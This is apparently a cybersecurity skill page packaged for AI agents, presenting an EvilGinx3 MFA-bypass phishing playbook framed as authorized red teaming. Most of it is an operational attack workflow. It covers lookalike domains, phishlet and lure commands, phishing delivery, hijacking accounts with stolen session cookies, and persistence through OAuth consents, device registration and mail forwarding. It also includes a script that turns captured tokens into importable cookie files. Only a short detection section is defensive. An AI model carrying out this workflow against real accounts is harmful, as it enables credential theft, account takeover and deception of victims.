red teaming

Performing Initial Access with EvilGinx3

Perform authorized initial access using EvilGinx3 adversary-in-the-middle phishing framework to capture session tokens and bypass multi-factor authentication during red team engagements.

adversary-in-the-middlecredential-theftevilginxinitial-accessmfa-bypassphishingred-team
Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-Skills
Framework mappings

Overview

EvilGinx3 is a man-in-the-middle attack framework used for phishing login credentials along with session cookies, enabling bypass of multi-factor authentication (MFA). Unlike traditional credential phishing that only captures usernames and passwords, EvilGinx3 operates as a transparent reverse proxy between the victim and the legitimate authentication service, intercepting the full authentication flow including MFA tokens and session cookies. This makes it the primary tool for red teams demonstrating the risk of adversary-in-the-middle (AiTM) attacks against organizations relying solely on MFA for protection.

When to Use

  • When conducting security assessments that involve performing initial access with evilginx3
  • When following incident response procedures for related security events
  • When performing scheduled security testing or auditing activities
  • When validating security controls through hands-on testing

Prerequisites

  • Familiarity with red teaming concepts and tools
  • Access to a test or lab environment for safe execution
  • Python 3.8+ with required dependencies installed
  • Appropriate authorization for any testing activities

Objectives

  • Deploy EvilGinx3 with custom phishlets targeting authorized scope
  • Configure DNS and SSL certificates for the phishing domain
  • Capture session tokens that bypass MFA protections
  • Import stolen session cookies into a browser to hijack authenticated sessions
  • Integrate with GoPhish or custom delivery mechanisms for phishing email campaigns
  • Document the complete attack chain from phishing email to authenticated access

MITRE ATT&CK Mapping

  • T1566.002 - Phishing: Spearphishing Link
  • T1557 - Adversary-in-the-Middle
  • T1539 - Steal Web Session Cookie
  • T1078 - Valid Accounts
  • T1556 - Modify Authentication Process
  • T1550.004 - Use Alternate Authentication Material: Web Session Cookie

Workflow

Phase 1: Infrastructure Setup

  1. Register a convincing lookalike domain (e.g., using homoglyphs or typosquatting)
  2. Provision a VPS and point the domain's DNS A record to the server IP
  3. Install EvilGinx3:
    git clone https://github.com/kgretzky/evilginx2.git
    cd evilginx2
    make
    sudo ./bin/evilginx -p ./phishlets
  4. Configure the domain and IP in EvilGinx3:
    config domain example-phish.com
    config ipv4 <server-ip>
  5. EvilGinx3 automatically provisions Let's Encrypt certificates for configured hostnames

Phase 2: Phishlet Configuration

  1. Select or create a phishlet for the target service (e.g., Microsoft 365, Google Workspace):
    phishlets hostname o365 login.example-phish.com
    phishlets enable o365
  2. Verify phishlet is active and SSL certificate is issued:
    phishlets
  3. Create a lure URL for the phishing campaign:
    lures create o365
    lures get-url 0
  4. Optionally configure a redirect URL for post-capture:
    lures edit 0 redirect_url https://legitimate-site.com

Phase 3: Phishing Delivery

  1. Craft a pretext email with the lure URL embedded
  2. Use GoPhish or manual SMTP for email delivery:
    # Integration with EvilGoPhish for combined campaigns
    # Provides GoPhish email tracking + EvilGinx3 credential capture
  3. Implement URL masking or shortening if needed for link obfuscation
  4. Deploy landing page with appropriate social engineering pretext

Phase 4: Session Hijacking

  1. Monitor EvilGinx3 for captured sessions:
    sessions
    sessions <session-id>
  2. Extract captured session cookies from the session:
    # Session output includes:
    # - Username and password
    # - Session cookies (authentication tokens)
    # - Custom captured parameters
  3. Import session cookies into a browser using a cookie editor extension:
    • Export cookies in JSON format
    • Use Cookie-Editor or EditThisCookie browser extension
    • Navigate to the target service to validate session hijack
  4. Establish persistent access by creating application passwords or OAuth tokens

Phase 5: Post-Access Activities

  1. Enumerate mailbox contents, contacts, and shared drives
  2. Identify additional targets for lateral phishing
  3. Check for access to connected cloud applications (SharePoint, Teams, OneDrive)
  4. Document all captured credentials and access achieved

Tools and Resources

Tool Purpose Platform
EvilGinx3 AiTM phishing framework Linux
GoPhish Phishing campaign management Cross-platform
EvilGoPhish Combined EvilGinx3 + GoPhish integration Linux
Cookie-Editor Browser cookie import/export Browser Extension
Modlishka Alternative AiTM proxy framework Linux
Muraena Alternative AiTM phishing proxy Linux

Phishlet Targets

Target Service Phishlet Captured Data
Microsoft 365 o365 Session cookies, credentials
Google Workspace google Session cookies, credentials
Okta okta Session tokens, credentials
GitHub github Session cookies, credentials
AWS Console aws Session tokens, credentials

Detection Indicators

Indicator Detection Method
Newly registered lookalike domains Domain monitoring and certificate transparency logs
SSL certificates for suspicious domains CT log monitoring (crt.sh, Censys)
Unusual login locations after phishing SIEM correlation of authentication events
Session cookie replay from different IP Conditional access policy alerts
AiTM proxy headers in traffic Network inspection for proxy artifacts

Validation Criteria

  • EvilGinx3 deployed with valid SSL certificates
  • Phishlet configured and enabled for target service
  • Lure URL generated and accessible
  • Test credentials captured successfully through phishing flow
  • Session cookies captured and validated for MFA bypass
  • Session hijack demonstrated in browser with stolen cookies
  • Post-authentication access to target service confirmed
  • Evidence documented with screenshots and session logs
Source materials

References and resources

Everything below is rendered for inspection. Script files are read-only and never run.

References 3

api-reference.md1.6 KB

API Reference — Performing Initial Access with Evilginx3

Libraries Used

  • pyyaml: Parse Evilginx3 phishlet YAML configuration files
  • subprocess: Check Evilginx installation and version
  • pathlib: Directory listing and file reading
  • re: IP address extraction from session logs

CLI Interface

python agent.py parse --phishlet office365.yaml
python agent.py logs --file sessions.log
python agent.py check
python agent.py list --dir /path/to/phishlets/
python agent.py detect --phishlet office365.yaml

Core Functions

parse_phishlet(phishlet_path) — Analyze phishlet configuration

Extracts proxy hosts, auth tokens, credential fields. Determines MFA bypass capability.

analyze_session_log(log_file) — Parse Evilginx session captures

Identifies sessions with captured tokens and credentials. Extracts source IPs.

check_evilginx_installation() — Verify Evilginx3 binary

Returns installed status and version string.

list_phishlets(phishlet_dir) — Enumerate available phishlets

Lists .yaml/.yml files in phishlet directory with sizes.

generate_detection_rules(phishlet_path) — Create defensive signatures

Generates DNS monitoring, cookie relay detection, and network anomaly rules. Includes FIDO2/WebAuthn MFA recommendations.

Phishlet Structure

  • proxy_hosts: Domain-to-phishing-subdomain mappings
  • auth_tokens: Session cookies to intercept (enables MFA bypass)
  • credentials: Form fields to capture (username/password)
  • sub_filters: Content replacement rules for convincing proxied pages

Dependencies

pip install pyyaml

System: evilginx (optional, for live testing)

standards.md1.2 KB

Standards and References - EvilGinx3 Initial Access

MITRE ATT&CK References

Technique ID Name Tactic
T1566.002 Phishing: Spearphishing Link Initial Access
T1557 Adversary-in-the-Middle Credential Access
T1539 Steal Web Session Cookie Credential Access
T1078 Valid Accounts Initial Access, Persistence
T1556 Modify Authentication Process Credential Access
T1550.004 Use Alternate Authentication Material: Web Session Cookie Lateral Movement

Industry Standards

  • PTES - Pre-Engagement and Intelligence Gathering phases
  • OWASP Testing Guide - Authentication Testing
  • NIST SP 800-63B - Digital Identity Guidelines: Authentication
  • CISA Advisory AA22-277A - Threat Actors Exploiting MFA Bypass Techniques

Official Resources

Research Papers

  • Microsoft Storm-1167 AiTM Phishing Campaign Analysis (2023)
  • Deepwatch: Catching the Phish - Detecting Evilginx & AiTM
  • BDO Security: MFA-Phishing as Initial Access in Red Teaming
workflows.md2.1 KB

Workflows - EvilGinx3 Initial Access

End-to-End AiTM Phishing Workflow

1. Reconnaissance
   ├── Identify target authentication service (M365, Google, Okta)
   ├── Analyze target MFA implementation (SMS, Authenticator, FIDO2)
   ├── Register lookalike domain with appropriate TLD
   └── Categorize domain to avoid URL filtering
 
2. Infrastructure Setup
   ├── Deploy VPS and configure DNS records
   ├── Install and configure EvilGinx3
   ├── Enable phishlet for target service
   ├── Verify SSL certificate provisioning
   └── Create and test lure URLs
 
3. Phishing Delivery
   ├── Craft pretext email with social engineering
   ├── Configure GoPhish or SMTP relay for delivery
   ├── Send phishing emails to authorized targets
   └── Monitor delivery and open rates
 
4. Credential and Session Capture
   ├── Monitor EvilGinx3 session dashboard
   ├── Capture credentials as victims authenticate
   ├── Capture session cookies (MFA bypass tokens)
   └── Export session data for exploitation
 
5. Session Hijacking
   ├── Import session cookies into attacker browser
   ├── Navigate to target service with hijacked session
   ├── Validate access to victim's account
   └── Enumerate accessible resources
 
6. Persistence and Escalation
   ├── Create application-specific passwords
   ├── Register attacker device in Azure AD / Entra ID
   ├── Add OAuth application consents
   └── Establish email forwarding rules for persistence
 
7. Reporting
   ├── Document attack chain with evidence
   ├── Record number of successful captures
   ├── Identify defensive gaps exploited
   └── Provide remediation recommendations

Cookie Import Workflow

1. From EvilGinx3 session output, copy cookie data
2. Open browser with Cookie-Editor extension
3. Navigate to target service login page
4. Clear existing cookies for the domain
5. Import captured cookies via Cookie-Editor
6. Refresh the page to obtain authenticated session
7. Verify access to victim's account

Scripts 2

agent.py6.7 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""Agent for performing initial access simulation with Evilginx3 phishlet analysis — educational/authorized pentest use."""

import json
import argparse
import subprocess
import re
from pathlib import Path


def parse_phishlet(phishlet_path):
    """Parse an Evilginx3 YAML phishlet file and extract configuration."""
    try:
        import yaml
    except ImportError:
        return {"error": "pyyaml not installed — pip install pyyaml"}
    content = Path(phishlet_path).read_text(encoding="utf-8")
    config = yaml.safe_load(content)
    proxy_hosts = config.get("proxy_hosts", [])
    sub_filters = config.get("sub_filters", [])
    auth_tokens = config.get("auth_tokens", [])
    cred_fields = config.get("credentials", {})
    return {
        "phishlet": phishlet_path,
        "name": config.get("name", ""),
        "author": config.get("author", ""),
        "target_domain": proxy_hosts[0].get("domain", "") if proxy_hosts else "",
        "proxy_hosts": [{"phish_sub": h.get("phish_sub"), "orig_sub": h.get("orig_sub"), "domain": h.get("domain")} for h in proxy_hosts],
        "auth_tokens": [{"domain": t.get("domain"), "keys": t.get("keys", [])} for t in auth_tokens],
        "credential_fields": cred_fields,
        "sub_filters_count": len(sub_filters),
        "analysis": {
            "captures_session_tokens": len(auth_tokens) > 0,
            "captures_credentials": bool(cred_fields),
            "mfa_bypass_capable": len(auth_tokens) > 0,
        },
    }


def analyze_session_log(log_file):
    """Analyze Evilginx session capture logs."""
    content = Path(log_file).read_text(encoding="utf-8", errors="replace")
    sessions = []
    current = {}
    for line in content.splitlines():
        if "new session" in line.lower() or "session started" in line.lower():
            if current:
                sessions.append(current)
            current = {"start": line.strip(), "tokens": [], "credentials": []}
        elif "token" in line.lower() or "cookie" in line.lower():
            current.setdefault("tokens", []).append(line.strip()[:200])
        elif "username" in line.lower() or "password" in line.lower() or "credential" in line.lower():
            current.setdefault("credentials", []).append(line.strip()[:200])
        elif "landing_url" in line.lower() or "remote_addr" in line.lower():
            ip_match = re.search(r"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}", line)
            if ip_match:
                current["source_ip"] = ip_match.group()
    if current:
        sessions.append(current)
    return {
        "log_file": log_file,
        "total_sessions": len(sessions),
        "sessions_with_tokens": sum(1 for s in sessions if s.get("tokens")),
        "sessions_with_creds": sum(1 for s in sessions if s.get("credentials")),
        "sessions": sessions[:20],
    }


def check_evilginx_installation():
    """Check if Evilginx3 is installed and get version."""
    try:
        result = subprocess.run(["evilginx", "--version"], capture_output=True, text=True, timeout=10)
        version = result.stdout.strip() or result.stderr.strip()
        return {"installed": True, "version": version}
    except FileNotFoundError:
        return {"installed": False, "error": "evilginx not found in PATH"}
    except Exception as e:
        return {"installed": False, "error": str(e)}


def list_phishlets(phishlet_dir):
    """List available phishlets in a directory."""
    p = Path(phishlet_dir)
    if not p.is_dir():
        return {"error": f"Directory not found: {phishlet_dir}"}
    phishlets = []
    for f in sorted(p.glob("*.yaml")) + sorted(p.glob("*.yml")):
        phishlets.append({"name": f.stem, "path": str(f), "size": f.stat().st_size})
    return {"directory": phishlet_dir, "count": len(phishlets), "phishlets": phishlets}


def generate_detection_rules(phishlet_path):
    """Generate detection signatures for a phishlet's attack patterns."""
    try:
        import yaml
    except ImportError:
        return {"error": "pyyaml not installed"}
    config = yaml.safe_load(Path(phishlet_path).read_text())
    proxy_hosts = config.get("proxy_hosts", [])
    rules = []
    for host in proxy_hosts:
        domain = host.get("domain", "")
        phish_sub = host.get("phish_sub", "")
        rules.append({
            "type": "dns_monitor",
            "description": f"Monitor for DNS queries to subdomains impersonating {domain}",
            "pattern": f"*.{domain}",
            "indicator": f"Phishing subdomain: {phish_sub}.{domain}",
        })
    auth_tokens = config.get("auth_tokens", [])
    for token in auth_tokens:
        for key in token.get("keys", []):
            rules.append({
                "type": "cookie_monitor",
                "description": f"Monitor for session token relay of {key}",
                "cookie_name": key,
                "domain": token.get("domain", ""),
            })
    rules.append({
        "type": "network_signature",
        "description": "Detect reverse proxy header anomalies",
        "indicators": ["X-Forwarded-For mismatch", "Origin header discrepancy", "TLS certificate mismatch"],
    })
    return {
        "phishlet": phishlet_path,
        "detection_rules": rules,
        "total_rules": len(rules),
        "recommendations": [
            "Enable FIDO2/WebAuthn MFA to prevent session token theft",
            "Monitor for certificate transparency log entries with suspicious subdomains",
            "Deploy conditional access policies requiring compliant devices",
        ],
    }


def main():
    parser = argparse.ArgumentParser(description="Evilginx3 Phishlet Analysis Agent (Authorized Testing Only)")
    sub = parser.add_subparsers(dest="command")
    p = sub.add_parser("parse", help="Parse phishlet YAML")
    p.add_argument("--phishlet", required=True)
    l = sub.add_parser("logs", help="Analyze session logs")
    l.add_argument("--file", required=True)
    sub.add_parser("check", help="Check Evilginx installation")
    ls = sub.add_parser("list", help="List available phishlets")
    ls.add_argument("--dir", required=True)
    d = sub.add_parser("detect", help="Generate detection rules")
    d.add_argument("--phishlet", required=True)
    args = parser.parse_args()
    if args.command == "parse":
        result = parse_phishlet(args.phishlet)
    elif args.command == "logs":
        result = analyze_session_log(args.file)
    elif args.command == "check":
        result = check_evilginx_installation()
    elif args.command == "list":
        result = list_phishlets(args.dir)
    elif args.command == "detect":
        result = generate_detection_rules(args.phishlet)
    else:
        parser.print_help()
        return
    print(json.dumps(result, indent=2, default=str))


if __name__ == "__main__":
    main()
process.py5.8 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""
EvilGinx3 Session Analysis and Cookie Export Script

Parses EvilGinx3 session data and prepares cookies for browser import.
For authorized red team engagements only.
"""

import json
import sys
import os
import re
from datetime import datetime
from pathlib import Path


def parse_evilginx_session(session_data: str) -> dict:
    """Parse raw EvilGinx3 session output into structured data."""
    session = {
        "id": "",
        "phishlet": "",
        "username": "",
        "password": "",
        "landing_url": "",
        "useragent": "",
        "remote_addr": "",
        "create_time": "",
        "update_time": "",
        "tokens": [],
        "custom": {}
    }

    lines = session_data.strip().split("\n")
    for line in lines:
        line = line.strip()
        if line.startswith("id:"):
            session["id"] = line.split(":", 1)[1].strip()
        elif line.startswith("phishlet:"):
            session["phishlet"] = line.split(":", 1)[1].strip()
        elif line.startswith("username:"):
            session["username"] = line.split(":", 1)[1].strip()
        elif line.startswith("password:"):
            session["password"] = line.split(":", 1)[1].strip()
        elif line.startswith("landing_url:"):
            session["landing_url"] = line.split(":", 1)[1].strip()
        elif line.startswith("useragent:"):
            session["useragent"] = line.split(":", 1)[1].strip()
        elif line.startswith("remote_addr:"):
            session["remote_addr"] = line.split(":", 1)[1].strip()
        elif line.startswith("create_time:"):
            session["create_time"] = line.split(":", 1)[1].strip()
        elif line.startswith("update_time:"):
            session["update_time"] = line.split(":", 1)[1].strip()

    return session


def extract_cookies_from_tokens(token_data: str) -> list:
    """Extract cookies from EvilGinx3 token capture data."""
    cookies = []
    cookie_pattern = re.compile(
        r'name:\s*"?([^"\n]+)"?\s*.*?'
        r'value:\s*"?([^"\n]+)"?\s*.*?'
        r'domain:\s*"?([^"\n]+)"?\s*.*?'
        r'path:\s*"?([^"\n]+)"?',
        re.DOTALL
    )

    for match in cookie_pattern.finditer(token_data):
        cookie = {
            "name": match.group(1).strip(),
            "value": match.group(2).strip(),
            "domain": match.group(3).strip(),
            "path": match.group(4).strip(),
            "secure": True,
            "httpOnly": True,
            "sameSite": "None"
        }
        cookies.append(cookie)

    return cookies


def export_cookies_for_browser(cookies: list, output_format: str = "json") -> str:
    """Export cookies in a format importable by browser extensions."""
    if output_format == "json":
        # Cookie-Editor compatible JSON format
        browser_cookies = []
        for cookie in cookies:
            browser_cookies.append({
                "name": cookie["name"],
                "value": cookie["value"],
                "domain": cookie["domain"],
                "path": cookie.get("path", "/"),
                "secure": cookie.get("secure", True),
                "httpOnly": cookie.get("httpOnly", True),
                "sameSite": cookie.get("sameSite", "None"),
                "expirationDate": None
            })
        return json.dumps(browser_cookies, indent=2)

    elif output_format == "netscape":
        # Netscape cookie format for curl/wget
        lines = ["# Netscape HTTP Cookie File"]
        for cookie in cookies:
            lines.append(
                f"{cookie['domain']}\tTRUE\t{cookie.get('path', '/')}\t"
                f"{'TRUE' if cookie.get('secure') else 'FALSE'}\t0\t"
                f"{cookie['name']}\t{cookie['value']}"
            )
        return "\n".join(lines)

    return ""


def generate_session_report(session: dict, cookies: list) -> str:
    """Generate a report of the captured session."""
    report = [
        "=" * 60,
        "EvilGinx3 Session Capture Report",
        f"Generated: {datetime.now().isoformat()}",
        "=" * 60,
        "",
        f"Session ID: {session.get('id', 'N/A')}",
        f"Phishlet: {session.get('phishlet', 'N/A')}",
        f"Target Username: {session.get('username', 'N/A')}",
        f"Capture Time: {session.get('create_time', 'N/A')}",
        f"Source IP: {session.get('remote_addr', 'N/A')}",
        f"User Agent: {session.get('useragent', 'N/A')}",
        "",
        f"Cookies Captured: {len(cookies)}",
        "",
        "Cookie Summary:",
    ]

    for i, cookie in enumerate(cookies):
        report.append(f"  [{i+1}] {cookie['name']} @ {cookie['domain']}")

    report.append("")
    report.append("=" * 60)
    return "\n".join(report)


def main():
    """Main entry point for session analysis."""
    if len(sys.argv) < 2:
        print("Usage: python process.py <session_file> [output_format]")
        print("  output_format: json (default) or netscape")
        print("")
        print("Example: python process.py session_capture.txt json")
        return

    session_file = sys.argv[1]
    output_format = sys.argv[2] if len(sys.argv) > 2 else "json"

    if not os.path.exists(session_file):
        print(f"Session file not found: {session_file}")
        return

    with open(session_file, "r") as f:
        session_data = f.read()

    session = parse_evilginx_session(session_data)
    cookies = extract_cookies_from_tokens(session_data)

    report = generate_session_report(session, cookies)
    print(report)

    if cookies:
        cookie_export = export_cookies_for_browser(cookies, output_format)
        output_file = f"cookies_export_{session.get('id', 'unknown')}.{output_format}"
        with open(output_file, "w") as f:
            f.write(cookie_export)
        print(f"Cookies exported to: {output_file}")
    else:
        print("No cookies found in session data.")


if __name__ == "__main__":
    main()

Assets 1

template.mdtext/markdown · 1.2 KB
Keep exploring